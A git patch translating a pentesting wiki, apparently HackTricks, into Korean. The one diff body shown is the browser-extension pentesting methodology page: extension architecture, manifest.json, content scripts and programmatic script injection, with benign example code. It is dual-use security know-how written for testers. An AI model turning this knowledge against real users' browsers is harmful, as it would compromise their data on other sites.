From cbe8917e872f42dc3263957d0e971c1e437aff84 Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 2 Jan 2025 13:54:09 +0000 Subject: [PATCH] Translated ['src/pentesting-web/browser-extension-pentesting-methodology --- .../README.md | 789 +++++----- .../browext-clickjacking.md | 87 +- ...rowext-permissions-and-host_permissions.md | 87 +- .../browext-xss-example.md | 129 +- src/pentesting-web/cache-deception/README.md | 153 +- .../cache-deception/cache-poisoning-to-dos.md | 59 +- .../cache-poisoning-via-url-discrepancies.md | 61 +- .../README.md | 735 ++++------ ...ypass-self-+-unsafe-inline-with-iframes.md | 31 +- .../README.md | 201 +-- .../ss-leaks.md | 3 +- src/pentesting-web/deserialization/README.md | 759 +++++----- ...er-gadgets-expandedwrapper-and-json.net.md | 231 ++- ...ialization-objectinputstream-readobject.md | 143 +- ...ploiting-__viewstate-knowing-the-secret.md | 3 +- .../exploiting-__viewstate-parameter.md | 141 +- ...ava-dns-deserialization-and-gadgetprobe.md | 211 ++- ...va-jsf-viewstate-.faces-deserialization.md | 3 +- ...ava-transformers-to-rutime-exec-payload.md | 243 ++- ...g-and-directory-interface-and-log4shell.md | 296 ++-- .../README.md | 305 ++-- .../client-side-prototype-pollution.md | 99 +- .../express-prototype-pollution-gadgets.md | 85 +- .../prototype-pollution-to-rce.md | 266 ++-- .../php-deserialization-+-autoload-classes.md | 77 +- .../python-yaml-deserialization.md | 71 +- .../deserialization/ruby-class-pollution.md | 517 ++++--- src/pentesting-web/file-inclusion/README.md | 489 +++--- ..._stream_prefer_studio-+-path-disclosure.md | 37 +- .../lfi2rce-via-eternal-waiting.md | 95 +- .../lfi2rce-via-nginx-temp-files.md | 11 +- .../file-inclusion/lfi2rce-via-php-filters.md | 337 +++-- .../file-inclusion/lfi2rce-via-phpinfo.md | 47 +- .../lfi2rce-via-segmentation-fault.md | 43 +- .../lfi2rce-via-temp-file-uploads.md | 31 +- .../file-inclusion/phar-deserialization.md | 55 +- .../via-php_session_upload_progress.md | 23 +- src/pentesting-web/file-upload/README.md | 343 +++-- .../pdf-upload-xxe-and-cors-bypass.md | 5 +- .../hacking-with-cookies/README.md | 259 ++-- .../hacking-with-cookies/cookie-bomb.md | 7 +- .../cookie-jar-overflow.md | 15 +- .../hacking-with-cookies/cookie-tossing.md | 57 +- .../http-request-smuggling/README.md | 613 ++++---- .../browser-http-request-smuggling.md | 5 +- .../request-smuggling-in-http-2-downgrades.md | 5 +- src/pentesting-web/ldap-injection.md | 111 +- src/pentesting-web/login-bypass/README.md | 75 +- .../login-bypass/sql-login-bypass.md | 15 +- src/pentesting-web/nosql-injection.md | 183 +-- .../oauth-to-account-takeover.md | 209 ++- src/pentesting-web/open-redirect.md | 35 +- src/pentesting-web/orm-injection.md | 362 +++-- src/pentesting-web/parameter-pollution.md | 171 +-- src/pentesting-web/phone-number-injections.md | 9 +- .../pocs-and-polygloths-cheatsheet/README.md | 93 +- .../web-vulns-list.md | 5 +- .../postmessage-vulnerabilities/README.md | 229 ++- ...blocking-main-page-to-steal-postmessage.md | 27 +- .../bypassing-sop-with-iframes-1.md | 86 +- .../bypassing-sop-with-iframes-2.md | 109 +- ...l-postmessage-modifying-iframe-location.md | 37 +- .../proxy-waf-protections-bypass.md | 135 +- src/pentesting-web/race-condition.md | 433 +++--- src/pentesting-web/rate-limit-bypass.md | 41 +- .../registration-vulnerabilities.md | 173 ++- ...ular-expression-denial-of-service-redos.md | 65 +- src/pentesting-web/reset-password.md | 237 ++- src/pentesting-web/reverse-tab-nabbing.md | 59 +- src/pentesting-web/saml-attacks/README.md | 255 ++-- .../saml-attacks/saml-basics.md | 217 ++- ...inclusion-edge-side-inclusion-injection.md | 127 +- src/pentesting-web/sql-injection/README.md | 323 ++-- .../sql-injection/cypher-injection-neo4j.md | 3 +- .../sql-injection/ms-access-sql-injection.md | 135 +- .../sql-injection/mssql-injection.md | 118 +- .../sql-injection/mysql-injection/README.md | 95 +- .../mysql-injection/mysql-ssrf.md | 25 +- .../sql-injection/oracle-injection.md | 117 +- .../postgresql-injection/README.md | 57 +- .../big-binary-files-upload-postgresql.md | 53 +- .../dblink-lo_import-data-exfiltration.md | 7 +- ...and-ntlm-chanllenge-response-disclosure.md | 77 +- .../pl-pgsql-password-bruteforce.md | 143 +- .../rce-with-postgresql-extensions.md | 263 ++-- .../rce-with-postgresql-languages.md | 249 ++-- src/pentesting-web/sql-injection/sqlmap.md | 155 +- .../sql-injection/sqlmap/README.md | 179 +-- .../sqlmap/second-order-injection-sqlmap.md | 59 +- .../README.md | 241 ++- .../cloud-ssrf.md | 325 ++-- .../ssrf-vulnerable-platforms.md | 5 +- .../url-format-bypass.md | 59 +- .../README.md | 621 ++++---- .../el-expression-language.md | 131 +- .../jinja2-ssti.md | 123 +- src/pentesting-web/timing-attacks.md | 25 +- .../unicode-injection/README.md | 39 +- .../unicode-normalization.md | 71 +- src/pentesting-web/uuid-insecurities.md | 67 +- src/pentesting-web/web-tool-wfuzz.md | 85 +- .../web-vulnerabilities-methodology.md | 169 ++- .../web-vulnerabilities-methodology/README.md | 161 +- src/pentesting-web/websocket-attacks.md | 129 +- src/pentesting-web/xpath-injection.md | 207 ++- src/pentesting-web/xs-search.md | 727 +++++---- src/pentesting-web/xs-search/README.md | 743 +++++----- .../connection-pool-by-destination-example.md | 189 ++- .../xs-search/connection-pool-example.md | 827 ++++++----- .../cookie-bomb-+-onerror-xs-leak.md | 99 +- .../xs-search/css-injection/README.md | 1047 +++++++------ .../css-injection/css-injection-code.md | 285 ++-- .../event-loop-blocking-+-lazy-images.md | 247 ++-- .../xs-search/javascript-execution-xs-leak.md | 111 +- .../performance.now-+-force-heavy-task.md | 159 +- .../xs-search/performance.now-example.md | 81 +- .../xs-search/url-max-length-client-side.md | 83 +- ...ble-stylesheet-language-transformations.md | 281 ++-- .../xss-cross-site-scripting/README.md | 1305 ++++++++--------- .../abusing-service-workers.md | 95 +- .../chrome-cache-to-xss.md | 29 +- .../debugging-client-side-js.md | 23 +- .../dom-clobbering.md | 195 +-- .../xss-cross-site-scripting/dom-invader.md | 79 +- .../xss-cross-site-scripting/dom-xss.md | 143 +- .../iframes-in-xss-and-csp.md | 161 +- .../integer-overflow.md | 5 +- .../xss-cross-site-scripting/js-hoisting.md | 81 +- .../other-js-tricks.md | 396 +++-- .../xss-cross-site-scripting/pdf-injection.md | 3 +- .../server-side-xss-dynamic-pdf.md | 137 +- .../xss-cross-site-scripting/shadow-dom.md | 3 +- .../xss-cross-site-scripting/sniff-leak.md | 9 +- .../some-same-origin-method-execution.md | 35 +- .../xss-cross-site-scripting/steal-info-js.md | 291 ++-- .../xss-in-markdown.md | 77 +- .../xssi-cross-site-script-inclusion.md | 101 +- .../xxe-xee-xml-external-entity.md | 541 +++---- .../escaping-from-gui-applications/README.md | 287 ++-- .../firmware-analysis/README.md | 215 ++- .../firmware-analysis/bootloader-testing.md | 61 +- .../firmware-analysis/firmware-integrity.md | 49 +- src/physical-attacks/physical-attacks.md | 55 +- src/radio-hacking/README.md | 5 +- .../low-power-wide-area-network.md | 13 +- .../pentesting-ble-bluetooth-low-energy.md | 35 +- src/radio-hacking/pentesting-rfid.md | 65 +- .../arbitrary-write-2-exec/README.md | 5 +- .../aw2exec-__malloc_hook.md | 9 +- .../arbitrary-write-2-exec/aw2exec-got-plt.md | 41 +- .../aws2exec-.dtors-and-.fini_array.md | 25 +- .../README.md | 27 +- .../aslr/README.md | 121 +- .../aslr/ret2plt.md | 57 +- .../no-exec-nx.md | 15 +- .../pie/README.md | 25 +- .../pie/bypassing-canary-and-pie.md | 73 +- .../relro.md | 19 +- .../stack-canaries/README.md | 53 +- .../bf-forked-stack-canaries.md | 171 +-- .../stack-canaries/print-stack-canary.md | 15 +- .../common-exploiting-problems.md | 19 +- .../linux-exploiting-basic-esp/elf-tricks.md | 413 +++--- .../format-strings/README.md | 93 +- .../format-strings/format-strings-template.md | 91 +- .../linux-exploiting-basic-esp/one-gadget.md | 13 +- .../stack-overflow/README.md | 61 +- .../stack-overflow/pointer-redirecting.md | 21 +- .../stack-overflow/ret2csu.md | 41 +- .../stack-overflow/ret2dlresolve.md | 29 +- .../stack-overflow/ret2esp-ret2reg.md | 39 +- .../stack-overflow/ret2lib/README.md | 99 +- .../rop-leaking-libc-address/README.md | 247 ++-- .../rop-leaking-libc-template.md | 203 ++- .../stack-overflow/ret2ret.md | 25 +- .../stack-overflow/ret2win.md | 65 +- .../rop-return-oriented-programing.md | 125 +- .../stack-overflow/rop-syscall-execv.md | 75 +- .../srop-sigreturn-oriented-programming.md | 17 +- .../stack-pivoting-ebp2ret-ebp-chaining.md | 119 +- .../stack-overflow/stack-shellcode.md | 57 +- src/reversing/common-api-used-in-malware.md | 131 +- .../cryptographic-algorithms/README.md | 149 +- .../unpacking-binaries.md | 34 +- .../reversing-tools-basic-methods/README.md | 351 +++-- .../angr/README.md | 75 +- .../angr/angr-examples.md | 928 ++++++------ .../blobrunner.md | 260 ++-- .../cheat-engine.md | 113 +- .../satisfiability-modulo-theories-smt-z3.md | 85 +- src/reversing/reversing-tools/README.md | 117 +- src/reversing/reversing-tools/blobrunner.md | 260 ++-- src/reversing/word-macros.md | 7 +- src/stego/esoteric-languages.md | 11 +- src/stego/stego-tricks.md | 127 +- src/todo/6881-udp-pentesting-bittorrent.md | 1 - src/todo/android-forensics.md | 29 +- src/todo/burp-suite.md | 15 +- src/todo/cookies-policy.md | 46 +- src/todo/hardware-hacking/README.md | 53 +- .../fault_injection_attacks.md | 8 +- src/todo/hardware-hacking/i2c.md | 51 +- src/todo/hardware-hacking/jtag.md | 15 +- src/todo/hardware-hacking/radio.md | 103 +- .../hardware-hacking/side_channel_analysis.md | 10 +- src/todo/hardware-hacking/spi.md | 41 +- src/todo/hardware-hacking/uart.md | 141 +- .../README.md | 19 +- .../modbus.md | 36 +- src/todo/interesting-http.md | 23 +- src/todo/investment-terms.md | 78 +- .../0.-basic-llm-concepts.md | 245 ++-- .../1.-tokenizing.md | 129 +- .../3.-token-embeddings.md | 159 +- .../4.-attention-mechanisms.md | 306 ++-- .../5.-llm-architecture.md | 869 ++++++----- .../7.0.-lora-improvements-in-fine-tuning.md | 73 +- ...7.2.-fine-tuning-to-follow-instructions.md | 101 +- .../llm-training-data-preparation/README.md | 31 +- src/todo/misc.md | 33 +- src/todo/more-tools.md | 115 +- src/todo/online-platforms-with-api.md | 79 +- src/todo/other-web-tricks.md | 29 +- src/todo/pentesting-dns.md | 7 +- src/todo/post-exploitation.md | 19 +- src/todo/radio-hacking/README.md | 5 +- .../radio-hacking/fissure-the-rf-framework.md | 152 +- src/todo/radio-hacking/flipper-zero/README.md | 19 +- .../flipper-zero/fz-125khz-rfid.md | 21 +- .../radio-hacking/flipper-zero/fz-ibutton.md | 13 +- .../radio-hacking/flipper-zero/fz-infrared.md | 19 +- src/todo/radio-hacking/flipper-zero/fz-nfc.md | 61 +- .../radio-hacking/flipper-zero/fz-sub-ghz.md | 103 +- src/todo/radio-hacking/ibutton.md | 17 +- src/todo/radio-hacking/infrared.md | 67 +- .../low-power-wide-area-network.md | 13 +- .../pentesting-ble-bluetooth-low-energy.md | 31 +- src/todo/radio-hacking/pentesting-rfid.md | 65 +- src/todo/radio-hacking/proxmark-3.md | 45 +- src/todo/radio-hacking/sub-ghz-rf.md | 67 +- src/todo/references.md | 1 - src/todo/rust-basics.md | 310 ++-- ...itive-information-disclosure-from-a-web.md | 15 +- src/todo/test-llms.md | 38 +- src/todo/tr-069.md | 3 - src/welcome/about-the-author.md | 11 +- src/welcome/hacktricks-values-and-faq.md | 135 +- .../active-directory-methodology/README.md | 567 ++++--- .../abusing-ad-mssql.md | 93 +- .../acl-persistence-abuse/README.md | 127 +- .../shadow-credentials.md | 45 +- .../ad-certificates.md | 105 +- .../ad-certificates/README.md | 105 +- .../ad-certificates/account-persistence.md | 41 +- .../ad-certificates/certificate-theft.md | 77 +- .../ad-certificates/domain-escalation.md | 493 +++---- .../ad-certificates/domain-persistence.md | 55 +- .../ad-dns-records.md | 9 +- .../ad-information-in-printers.md | 55 +- .../asreproast.md | 63 +- .../bloodhound.md | 67 +- .../constrained-delegation.md | 25 +- .../custom-ssp.md | 33 +- .../active-directory-methodology/dcshadow.md | 67 +- .../active-directory-methodology/dcsync.md | 67 +- .../diamond-ticket.md | 17 +- .../dsrm-credentials.md | 23 +- ...external-forest-domain-one-way-outbound.md | 39 +- .../external-forest-domain-oneway-inbound.md | 45 +- .../golden-ticket.md | 33 +- .../kerberoast.md | 105 +- .../kerberos-authentication.md | 5 +- .../kerberos-double-hop-problem.md | 65 +- .../active-directory-methodology/laps.md | 59 +- .../over-pass-the-hash-pass-the-key.md | 25 +- .../pass-the-ticket.md | 27 +- .../password-spraying.md | 89 +- .../printers-spooler-service-abuse.md | 81 +- .../printnightmare.md | 3 +- .../privileged-groups-and-token-privileges.md | 207 +-- .../rdp-sessions-abuse.md | 47 +- .../resource-based-constrained-delegation.md | 101 +- .../security-descriptors.md | 25 +- .../sid-history-injection.md | 61 +- .../silver-ticket.md | 81 +- .../skeleton-key.md | 27 +- .../unconstrained-delegation.md | 33 +- .../authentication-credentials-uac-and-efs.md | 211 ++- .../README.md | 206 ++- .../uac-user-account-control.md | 183 ++- src/windows-hardening/av-bypass.md | 459 +++--- .../basic-cmd-for-pentesters.md | 173 +-- .../basic-powershell-for-pentesters/README.md | 203 +-- .../powerview.md | 61 +- .../checklist-windows-privilege-escalation.md | 167 ++- src/windows-hardening/cobalt-strike.md | 180 ++- .../lateral-movement/README.md | 3 +- .../lateral-movement/atexec.md | 17 +- .../lateral-movement/dcom-exec.md | 81 +- .../lateral-movement/psexec-and-winexec.md | 35 +- .../lateral-movement/smbexec.md | 41 +- .../lateral-movement/winrm.md | 3 +- .../lateral-movement/wmiexec.md | 71 +- src/windows-hardening/ntlm/README.md | 191 +-- src/windows-hardening/ntlm/atexec.md | 17 +- .../ntlm/places-to-steal-ntlm-creds.md | 5 +- .../ntlm/psexec-and-winexec.md | 43 +- src/windows-hardening/ntlm/smbexec.md | 33 +- src/windows-hardening/ntlm/winrm.md | 3 +- src/windows-hardening/ntlm/wmiexec.md | 71 +- .../stealing-credentials/README.md | 207 +-- .../credentials-mimikatz.md | 227 ++- .../credentials-protections.md | 75 +- .../stealing-credentials/wts-impersonator.md | 67 +- .../README.md | 1049 ++++++------- .../access-tokens.md | 51 +- .../acls-dacls-sacls-aces.md | 131 +- ...ectory-permission-over-service-registry.md | 23 +- .../com-hijacking.md | 69 +- .../create-msi-with-wix.md | 29 +- .../dll-hijacking.md | 192 ++- .../dll-hijacking/README.md | 210 ++- ...ritable-sys-path-+dll-hijacking-privesc.md | 61 +- .../dpapi-extracting-passwords.md | 65 +- ...igh-integrity-to-system-with-name-pipes.md | 153 +- .../integrity-levels.md | 87 +- .../juicypotato.md | 101 +- .../leaked-handle-exploitation.md | 884 +++++------ .../msi-wrapper.md | 11 +- .../named-pipe-client-impersonation.md | 3 +- .../privilege-escalation-abusing-tokens.md | 121 +- ...vilege-escalation-with-autorun-binaries.md | 147 +- .../roguepotato-and-printspoofer.md | 17 +- .../sedebug-+-seimpersonate-copy-token.md | 281 ++-- .../seimpersonate-from-high-to-system.md | 265 ++-- .../windows-c-payloads.md | 13 +- .../uac-user-account-control.md | 183 ++- 337 files changed, 20449 insertions(+), 24902 deletions(-) diff --git a/src/pentesting-web/browser-extension-pentesting-methodology/README.md b/src/pentesting-web/browser-extension-pentesting-methodology/README.md index 998ebd4e2..bc7cd2a3c 100644 --- a/src/pentesting-web/browser-extension-pentesting-methodology/README.md +++ b/src/pentesting-web/browser-extension-pentesting-methodology/README.md @@ -1,280 +1,260 @@ -# Browser Extension Pentesting Methodology +# 브라우저 확장 펜테스팅 방법론 {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## 기본 정보 -Browser extensions are written in JavaScript and loaded by the browser in the background. It has its [DOM](https://www.w3schools.com/js/js_htmldom.asp) but can interact with other sites' DOMs. This means that it may compromise other sites' confidentiality, integrity, and availability (CIA). +브라우저 확장은 JavaScript로 작성되며 브라우저에 의해 백그라운드에서 로드됩니다. 자체 [DOM](https://www.w3schools.com/js/js_htmldom.asp)을 가지고 있지만 다른 사이트의 DOM과 상호작용할 수 있습니다. 이는 다른 사이트의 기밀성, 무결성 및 가용성(CIA)을 위협할 수 있음을 의미합니다. -## Main Components +## 주요 구성 요소 -Extension layouts look best when visualised and consists of three components. Let’s look at each component in depth. +확장 레이아웃은 시각화할 때 가장 잘 보이며 세 가지 구성 요소로 구성됩니다. 각 구성 요소를 자세히 살펴보겠습니다.

http://webblaze.cs.berkeley.edu/papers/Extensions.pdf

-### **Content Scripts** +### **콘텐츠 스크립트** -Each content script has direct access to the DOM of a **single web page** and is thereby exposed to **potentially malicious input**. However, the content script contains no permissions other than the ability to send messages to the extension core. +각 콘텐츠 스크립트는 **단일 웹 페이지**의 DOM에 직접 접근할 수 있으며, 따라서 **잠재적으로 악의적인 입력**에 노출됩니다. 그러나 콘텐츠 스크립트는 확장 코어에 메시지를 전송할 수 있는 능력 외에는 권한이 없습니다. -### **Extension Core** +### **확장 코어** -The extension core contains most of the extension privileges/access, but the extension core can only interact with web content via [XMLHttpRequest](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest) and content scripts. Also, the extension core does not have direct access to the host machine. +확장 코어는 대부분의 확장 권한/접근을 포함하지만, 확장 코어는 [XMLHttpRequest](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest) 및 콘텐츠 스크립트를 통해서만 웹 콘텐츠와 상호작용할 수 있습니다. 또한, 확장 코어는 호스트 머신에 직접 접근할 수 없습니다. -### **Native Binary** +### **네이티브 바이너리** -The extension allows a native binary that can **access the host machine with the user’s full privileges.** The native binary interacts with the extension core through the standard Netscape Plugin Application Programming Interface ([NPAPI](https://en.wikipedia.org/wiki/NPAPI)) used by Flash and other browser plug-ins. +확장은 **사용자의 전체 권한으로 호스트 머신에 접근할 수 있는 네이티브 바이너리**를 허용합니다. 네이티브 바이너리는 Flash 및 기타 브라우저 플러그인에서 사용되는 표준 Netscape Plugin Application Programming Interface ([NPAPI](https://en.wikipedia.org/wiki/NPAPI))를 통해 확장 코어와 상호작용합니다. -### Boundaries +### 경계 > [!CAUTION] -> To obtain the user's full privileges, an attacker must convince the extension to pass malicious input from the content script to the extension's core and from the extension's core to the native binary. +> 사용자의 전체 권한을 얻으려면 공격자는 확장에 콘텐츠 스크립트에서 확장 코어로, 그리고 확장 코어에서 네이티브 바이너리로 악의적인 입력을 전달하도록 설득해야 합니다. -Each component of the extension is separated from each other by **strong protective boundaries**. Each component runs in a **separate operating system process**. Content scripts and extension cores run in **sandbox processes** unavailable to most operating system services. +확장의 각 구성 요소는 **강력한 보호 경계**로 서로 분리되어 있습니다. 각 구성 요소는 **별도의 운영 체제 프로세스**에서 실행됩니다. 콘텐츠 스크립트와 확장 코어는 대부분의 운영 체제 서비스에서 사용할 수 없는 **샌드박스 프로세스**에서 실행됩니다. -Moreover, content scripts separate from their associated web pages by **running in a separate JavaScript heap**. The content script and web page have **access to the same underlying DOM**, but the two **never exchange JavaScript pointers**, preventing the leaking of JavaScript functionality. +또한, 콘텐츠 스크립트는 **별도의 JavaScript 힙**에서 실행되어 관련 웹 페이지와 분리됩니다. 콘텐츠 스크립트와 웹 페이지는 **같은 기본 DOM에 접근할 수** 있지만, 두 개는 **JavaScript 포인터를 교환하지 않**아 JavaScript 기능의 유출을 방지합니다. ## **`manifest.json`** -A Chrome extension is just a ZIP folder with a [.crx file extension](https://www.lifewire.com/crx-file-2620391). The extension's core is the **`manifest.json`** file at the root of the folder, which specifies layout, permissions, and other configuration options. - -Example: +Chrome 확장은 단순히 [.crx 파일 확장자](https://www.lifewire.com/crx-file-2620391)를 가진 ZIP 폴더입니다. 확장의 코어는 폴더의 루트에 있는 **`manifest.json`** 파일로, 레이아웃, 권한 및 기타 구성 옵션을 지정합니다. +예: ```json { - "manifest_version": 2, - "name": "My extension", - "version": "1.0", - "permissions": ["storage"], - "content_scripts": [ - { - "js": ["script.js"], - "matches": ["https://example.com/*", "https://www.example.com/*"], - "exclude_matches": ["*://*/*business*"] - } - ], - "background": { - "scripts": ["background.js"] - }, - "options_ui": { - "page": "options.html" - } +"manifest_version": 2, +"name": "My extension", +"version": "1.0", +"permissions": ["storage"], +"content_scripts": [ +{ +"js": ["script.js"], +"matches": ["https://example.com/*", "https://www.example.com/*"], +"exclude_matches": ["*://*/*business*"] +} +], +"background": { +"scripts": ["background.js"] +}, +"options_ui": { +"page": "options.html" +} } ``` - ### `content_scripts` -Content scripts are **loaded** whenever the user **navigates to a matching page**, in our case any page matching the **`https://example.com/*`** expression and not matching the **`*://*/*/business*`** regex. They execute **like the page’s own scripts** and have arbitrary access to the page’s [Document Object Model (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model). - +Content scripts는 사용자가 **일치하는 페이지로 이동할 때마다** **로드**됩니다. 이 경우 **`https://example.com/*`** 표현과 일치하는 모든 페이지이며 **`*://*/*/business*`** 정규 표현식과 일치하지 않습니다. 이들은 **페이지의 자체 스크립트처럼** 실행되며 페이지의 [Document Object Model (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model)에 임의로 접근할 수 있습니다. ```json "content_scripts": [ - { - "js": [ - "script.js" - ], - "matches": [ - "https://example.com/*", - "https://www.example.com/*" - ], - "exclude_matches": ["*://*/*business*"], - } - ], +{ +"js": [ +"script.js" +], +"matches": [ +"https://example.com/*", +"https://www.example.com/*" +], +"exclude_matches": ["*://*/*business*"], +} +], ``` +더 많은 URL을 포함하거나 제외하려면 **`include_globs`** 및 **`exclude_globs`**를 사용할 수도 있습니다. -In order to include or exclude more URLs it's also possible to use **`include_globs`** and **`exclude_globs`**. - -This is an example content script which will add an explain button to the page when [the storage API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) to retrieve the `message` value from extension’s storage. - +이것은 페이지에 설명 버튼을 추가하는 예제 콘텐츠 스크립트로, [저장소 API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage)를 사용하여 확장 프로그램의 저장소에서 `message` 값을 검색합니다. ```js chrome.storage.local.get("message", (result) => { - let div = document.createElement("div") - div.innerHTML = result.message + " " - div.querySelector("button").addEventListener("click", () => { - chrome.runtime.sendMessage("explain") - }) - document.body.appendChild(div) +let div = document.createElement("div") +div.innerHTML = result.message + " " +div.querySelector("button").addEventListener("click", () => { +chrome.runtime.sendMessage("explain") +}) +document.body.appendChild(div) }) ``` -
-A message is sent to the extension pages by the content script when this button is clicked, through the utilization of the [**runtime.sendMessage() API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage). This is due to the content script's limitation in direct access to APIs, with `storage` being among the few exceptions. For functionalities beyond these exceptions, messages are sent to extension pages which content scripts can communicate with. +이 버튼이 클릭되면 콘텐츠 스크립트를 통해 확장 페이지로 메시지가 전송됩니다. 이는 [**runtime.sendMessage() API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage)를 활용한 것입니다. 콘텐츠 스크립트는 API에 직접 접근하는 데 제한이 있으며, `storage`가 몇 가지 예외 중 하나입니다. 이러한 예외를 넘어서는 기능을 위해 메시지가 확장 페이지로 전송되며, 콘텐츠 스크립트는 이와 통신할 수 있습니다. > [!WARNING] -> Depending on the browser, the capabilities of the content script may vary slightly. For Chromium-based browsers, the capabilities list is available in the [Chrome Developers documentation](https://developer.chrome.com/docs/extensions/mv3/content_scripts/#capabilities), and for Firefox, the [MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts#webextension_apis) serves as the primary source.\ -> It is also noteworthy that content scripts have the ability to communicate with background scripts, enabling them to perform actions and relay responses back. +> 브라우저에 따라 콘텐츠 스크립트의 기능이 약간 다를 수 있습니다. Chromium 기반 브라우저의 경우 기능 목록은 [Chrome Developers documentation](https://developer.chrome.com/docs/extensions/mv3/content_scripts/#capabilities)에서 확인할 수 있으며, Firefox의 경우 [MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts#webextension_apis)이 주요 출처입니다.\ +> 또한 콘텐츠 스크립트는 백그라운드 스크립트와 통신할 수 있는 능력이 있어, 작업을 수행하고 응답을 전달할 수 있다는 점도 주목할 만합니다. -For viewing and debugging content scripts in Chrome, the Chrome developer tools menu can be accessed from Options > More tools > Developer tools OR by pressing Ctrl + Shift + I. +Chrome에서 콘텐츠 스크립트를 보기 및 디버깅하려면 Chrome 개발자 도구 메뉴에 접근할 수 있습니다: 옵션 > 추가 도구 > 개발자 도구 또는 Ctrl + Shift + I를 눌러서 접근할 수 있습니다. -Upon the developer tools being displayed, the **Source tab** is to be clicked, followed by the **Content Scripts** tab. This allows for the observation of running content scripts from various extensions and the setting of breakpoints to track the execution flow. +개발자 도구가 표시되면 **소스 탭**을 클릭한 후 **콘텐츠 스크립트** 탭을 클릭합니다. 이를 통해 다양한 확장에서 실행 중인 콘텐츠 스크립트를 관찰하고 실행 흐름을 추적하기 위해 중단점을 설정할 수 있습니다. -### Injected content scripts +### 주입된 콘텐츠 스크립트 > [!TIP] -> Note that **Content Scripts aren't mandatory** as it's also possible to **dynamically** **inject** scripts and to **programatically inject them** in web pages via **`tabs.executeScript`**. This actually provides more **granular controls**. +> **콘텐츠 스크립트는 필수적이지 않습니다.** 웹 페이지에 **동적으로** **주입**하거나 **프로그래밍 방식으로 주입**할 수 있는 스크립트를 **`tabs.executeScript`**를 통해 주입할 수 있습니다. 이는 실제로 더 **세밀한 제어**를 제공합니다. -For the programmatic injection of a content script, the extension is required to have [host permissions](https://developer.chrome.com/docs/extensions/reference/permissions) for the page into which the scripts are to be injected. These permissions may be secured either by **requesting them** within the manifest of the extension or on a temporary basis through [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab). - -#### Example activeTab-based extension +콘텐츠 스크립트를 프로그래밍 방식으로 주입하려면 확장이 스크립트를 주입할 페이지에 대한 [호스트 권한](https://developer.chrome.com/docs/extensions/reference/permissions)을 가져야 합니다. 이러한 권한은 확장의 매니페스트 내에서 **요청**하거나 [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab)을 통해 임시로 확보할 수 있습니다. +#### 예시 activeTab 기반 확장 ```json:manifest.json { - "name": "My extension", - ... - "permissions": [ - "activeTab", - "scripting" - ], - "background": { - "service_worker": "background.js" - }, - "action": { - "default_title": "Action Button" - } +"name": "My extension", +... +"permissions": [ +"activeTab", +"scripting" +], +"background": { +"service_worker": "background.js" +}, +"action": { +"default_title": "Action Button" +} } ``` - -- **Inject a JS file on click:** - +- **클릭 시 JS 파일 주입:** ```javascript // content-script.js document.body.style.backgroundColor = "orange" //service-worker.js - Inject the JS file chrome.action.onClicked.addListener((tab) => { - chrome.scripting.executeScript({ - target: { tabId: tab.id }, - files: ["content-script.js"], - }) +chrome.scripting.executeScript({ +target: { tabId: tab.id }, +files: ["content-script.js"], +}) }) ``` - -- **Inject a function** on click: - +- **클릭 시 함수 주입**: ```javascript //service-worker.js - Inject a function function injectedFunction() { - document.body.style.backgroundColor = "orange" +document.body.style.backgroundColor = "orange" } chrome.action.onClicked.addListener((tab) => { - chrome.scripting.executeScript({ - target: { tabId: tab.id }, - func: injectedFunction, - }) +chrome.scripting.executeScript({ +target: { tabId: tab.id }, +func: injectedFunction, +}) }) ``` - -#### Example with scripting permissions - +#### 스크립팅 권한이 있는 예제 ```javascript // service-workser.js chrome.scripting.registerContentScripts([ - { - id: "test", - matches: ["https://*.example.com/*"], - excludeMatches: ["*://*/*business*"], - js: ["contentScript.js"], - }, +{ +id: "test", +matches: ["https://*.example.com/*"], +excludeMatches: ["*://*/*business*"], +js: ["contentScript.js"], +}, ]) // Another example chrome.tabs.executeScript(tabId, { file: "content_script.js" }) ``` +더 많은 URL을 포함하거나 제외하려면 **`include_globs`** 및 **`exclude_globs`**를 사용할 수 있습니다. -In order to include or exclude more URLs it's also possible to use **`include_globs`** and **`exclude_globs`**. +### 콘텐츠 스크립트 `run_at` -### Content Scripts `run_at` +`run_at` 필드는 **JavaScript 파일이 웹 페이지에 주입되는 시점**을 제어합니다. 선호되는 기본 값은 `"document_idle"`입니다. -The `run_at` field controls **when JavaScript files are injected into the web page**. The preferred and default value is `"document_idle"`. +가능한 값은 다음과 같습니다: -The possible values are: - -- **`document_idle`**: Whenever possible -- **`document_start`**: After any files from `css`, but before any other DOM is constructed or any other script is run. -- **`document_end`**: Immediately after the DOM is complete, but before subresources like images and frames have loaded. - -#### Via `manifest.json` +- **`document_idle`**: 가능한 경우 언제든지 +- **`document_start`**: `css`의 파일이 로드된 후, 그러나 다른 DOM이 구성되거나 다른 스크립트가 실행되기 전에. +- **`document_end`**: DOM이 완료된 직후, 그러나 이미지 및 프레임과 같은 하위 리소스가 로드되기 전에. +#### `manifest.json`을 통해 ```json { - "name": "My extension", - ... - "content_scripts": [ - { - "matches": ["https://*.example.com/*"], - "run_at": "document_idle", - "js": ["contentScript.js"] - } - ], - ... +"name": "My extension", +... +"content_scripts": [ +{ +"matches": ["https://*.example.com/*"], +"run_at": "document_idle", +"js": ["contentScript.js"] +} +], +... } ``` - -Via **`service-worker.js`** - +**`service-worker.js`**를 통해 ```javascript chrome.scripting.registerContentScripts([ - { - id: "test", - matches: ["https://*.example.com/*"], - runAt: "document_idle", - js: ["contentScript.js"], - }, +{ +id: "test", +matches: ["https://*.example.com/*"], +runAt: "document_idle", +js: ["contentScript.js"], +}, ]) ``` - ### `background` -Messages sent by content 